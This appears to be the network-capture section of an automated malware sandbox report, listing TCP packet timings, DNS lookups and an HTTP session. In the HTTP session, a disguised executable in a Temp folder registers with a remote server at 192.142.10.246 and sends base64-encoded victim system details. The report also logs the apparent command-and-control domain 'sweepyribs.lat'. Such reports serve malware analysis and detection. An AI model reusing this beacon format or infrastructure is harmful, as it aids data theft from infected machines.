                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:10.746268988 CET49895443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:10.746411085 CET44349895104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.402225018 CET44349895104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.402468920 CET44349895104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.402600050 CET49895443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.404139996 CET49895443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.404191971 CET44349895104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.404222965 CET49895443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.404238939 CET44349895104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.409231901 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.409267902 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.409347057 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.409631968 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:11.409651041 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.632060051 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.632328987 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.635688066 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.635698080 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.635926962 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.637057066 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.637085915 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:12.637111902 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.495811939 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.495873928 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.495902061 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.495917082 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.495933056 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.495980024 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.495986938 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.496000051 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.496040106 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.498398066 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.507257938 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.507301092 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.507303953 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.507324934 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.507369995 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.515382051 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.556977987 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.615341902 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.666382074 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.687891006 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691361904 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691464901 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691519022 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691533089 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691582918 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691590071 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691689968 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691740036 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691762924 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691775084 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691775084 CET49901443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691781998 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.691787958 CET44349901104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.763739109 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.763797998 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.764286041 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.764286041 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:13.764323950 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.983582020 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.983702898 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.985218048 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.985229969 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.985510111 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.986711025 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.986877918 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.986912012 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.986972094 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:14.986980915 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:16.201008081 CET44349907104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:16.201338053 CET49907443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:16.220613003 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:16.220669031 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:16.220760107 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:16.221070051 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:16.221084118 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.450973988 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.451106071 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.452943087 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.452969074 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.453288078 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.454705000 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.454829931 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:17.454860926 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.736465931 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.736547947 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.736593962 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.737021923 CET49914443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.737042904 CET44349914104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.822797060 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.822834015 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.822901964 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.823668957 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:18.823678017 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.048743963 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.048876047 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.050177097 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.050184011 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.050403118 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.052011013 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.052203894 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.052217960 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.052279949 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.052284956 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.848984003 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.849247932 CET44349921104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.849281073 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:20.849351883 CET49921443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:21.037950993 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:21.038007021 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:21.038075924 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:21.038470984 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:21.038486004 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.261697054 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.261781931 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.267775059 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.267832041 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.268095970 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.274009943 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.274267912 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.274283886 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.995573044 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.995950937 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.995973110 CET44349927104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:22.996036053 CET49927443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:23.333808899 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:23.333936930 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:23.334216118 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:23.334840059 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:23.334882975 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.558095932 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.558180094 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.559326887 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.559340000 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.560278893 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.561866045 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.562621117 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.562685966 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.562798023 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.562848091 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.562953949 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563194990 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563342094 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563364029 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563535929 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563558102 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563757896 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563786983 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563801050 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563815117 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563939095 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563962936 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.563992023 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564002991 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564053059 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564071894 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564085960 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564095020 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564198017 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564215899 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564238071 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564251900 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564301968 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564328909 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564342022 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:24.564348936 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.951679945 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.951921940 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.951991081 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.952124119 CET49933443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.952162027 CET44349933104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.954278946 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.954371929 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.954469919 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.954821110 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:26.954858065 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.181411028 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.181519985 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.182807922 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.182826042 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.183080912 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.184745073 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.184767962 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:28.184843063 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:29.198255062 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:29.198359966 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:29.198417902 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:29.198571920 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:29.198596954 CET44349943104.21.2.110192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:29.198611975 CET49943443192.168.2.4104.21.2.110
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:29.198620081 CET44349943104.21.2.110192.168.2.4

                                                                                                                                                                                                                                                                        UDP Packets

                                                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.390618086 CET6177253192.168.2.41.1.1.1
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.528688908 CET53617721.1.1.1192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.006808996 CET6324353192.168.2.41.1.1.1
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.007097960 CET6313653192.168.2.41.1.1.1
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.148118019 CET53632431.1.1.1192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.148843050 CET53631361.1.1.1192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:48.575820923 CET6242553192.168.2.41.1.1.1
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:48.813581944 CET53624251.1.1.1192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:09.124758005 CET5456853192.168.2.41.1.1.1
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:09.433661938 CET53545681.1.1.1192.168.2.4

                                                                                                                                                                                                                                                                        DNS Queries

                                                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.390618086 CET192.168.2.41.1.1.10xb259Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.006808996 CET192.168.2.41.1.1.10x390bStandard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.007097960 CET192.168.2.41.1.1.10xa759Standard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:48.575820923 CET192.168.2.41.1.1.10x5ec6Standard query (0)nevYLyXsvEOUoLjcGpUCNbkxAjn.nevYLyXsvEOUoLjcGpUCNbkxAjnA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:09.124758005 CET192.168.2.41.1.1.10xa116Standard query (0)sweepyribs.latA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                        DNS Answers

                                                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:32.528688908 CET1.1.1.1192.168.2.40xb259No error (0)www.google.com142.250.181.132A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.148118019 CET1.1.1.1192.168.2.40x390bNo error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.148118019 CET1.1.1.1192.168.2.40x390bNo error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:45.148843050 CET1.1.1.1192.168.2.40xa759No error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:48.813581944 CET1.1.1.1192.168.2.40x5ec6Name error (3)nevYLyXsvEOUoLjcGpUCNbkxAjn.nevYLyXsvEOUoLjcGpUCNbkxAjnnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:09.433661938 CET1.1.1.1192.168.2.40xa116No error (0)sweepyribs.lat104.21.2.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:54:09.433661938 CET1.1.1.1192.168.2.40xa116No error (0)sweepyribs.lat172.67.129.27A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                        HTTP Request Dependency Graph

                                                                                                                                                                                                                                                                        • www.google.com
                                                                                                                                                                                                                                                                        • chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                                        • sweepyribs.lat
                                                                                                                                                                                                                                                                        • 192.142.10.246

                                                                                                                                                                                                                                                                        HTTP Packets

                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        0192.168.2.449748192.142.10.246806448C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:57.223042011 CET669OUTGET /call.php?api=register&username=ZGVsYWly&userdata=OCBHQl9bb2JqZWN0IE9iamVjdF1fTUVIOTVGX3RydWVfMTI4MHgxMDI0X1dpbmRvd3MgMTAgUHJvXzEwOSBtaW51dGVzICgwLjgyIGhvdXJzKV9DOlxVc2Vyc1xqb25lc18xMjM5OTFfam9uZXNfV2luZG93c19OVF94NjRfMTAuMC4xOTA0NV9DOlxVc2Vyc1xqb25lc1xBcHBEYXRhXFJvYW1pbmdfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxMb2NhbFxUZW1wX0pPTkVTLVBDX19JbnRlbDY0IEZhbWlseSA2IE1vZGVsIDE0MyBTdGVwcGluZyA4LCBHZW51aW5lSW50ZWxfQU1ENjRfQzpfMl9DOlxVc2Vyc1xqb25lc1xBcHBEYXRhXExvY2FsXFRlbXBcMnE0b1hUcTRqNDdZeWVqTzlyY2RsVjlncmd3XFBoaWxpcGluZXNzQXZpYSBBcHBsaWNhdGlvbi5leGU= HTTP/1.1
                                                                                                                                                                                                                                                                        Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                                                        User-Agent: axios/0.27.2
                                                                                                                                                                                                                                                                        Host: 192.142.10.246
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525302887 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:52:58 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Data Raw: 31 66 63 30 0d 0a 3d 3d 67 43 56 56 30 63 45 4a 6b 51 52 46 30 51 42 46 55 53 42 6c 30 53 68 74 6d 52 72 46 55 51 42 46 55 51 42 46 55 51 42 46 45 53 61 52 58 52 42 46 55 54 42 4e 55 51 42 5a 31 52 6f 78 6d 59 56 35 45 63 5a 64 46 4f 31 70 46 57 6f 78 6d 56 57 46 6c 54 42 46 55 5a 77 63 6e 4d 43 35 47 52 6a 6c 7a 5a 61 64 33 4d 51 6c 31 52 6b 46 54 5a 42 4e 58 51 42 46 46 56 78 45 55 55 42 46 6b 51 43 46 56 51 42 46 45 52 7a 5a 48 57 78 67 6a 56 4f 64 56 4d 4f 4e 7a 4e 74 70 30 59 72 46 6c 53 77 64 6e 51 46 39 57 4d 4c 31 55 52 6f 46 6c 54 46 68 47 56 43 6c 48 65 34 46 56 51 6d 70 45 61 4c 64 57 54 45 39 47 4e 36 46 45 4d 76 46 6b 52 6b 42 6c 61 54 4e 45 4d 59 70 33 61 47 4e 58 61 53 70 45 55 34 35 57 53 34 6f 57 64 76 49 54 59 74 52 6e 59 77 45 6a 51 4d 64 6c 4d 72 45 44 64 33 46 48 65 4a 6c 57 59 42 4e 56 56 43 46 58 53 78 49 55 53 44 6c 54 59 42 5a 46 55 6a 52 54 56 52 56 57 53 5a 6c 31 51 5a 68 7a 4d 36 68 46 55 71 31 6b 51 69 68 6c 64 32 4e 32 4d 72 59 32 4b 76 34 57 4f 35 63 6c 51 7a 6f 46 63 [TRUNCATED]
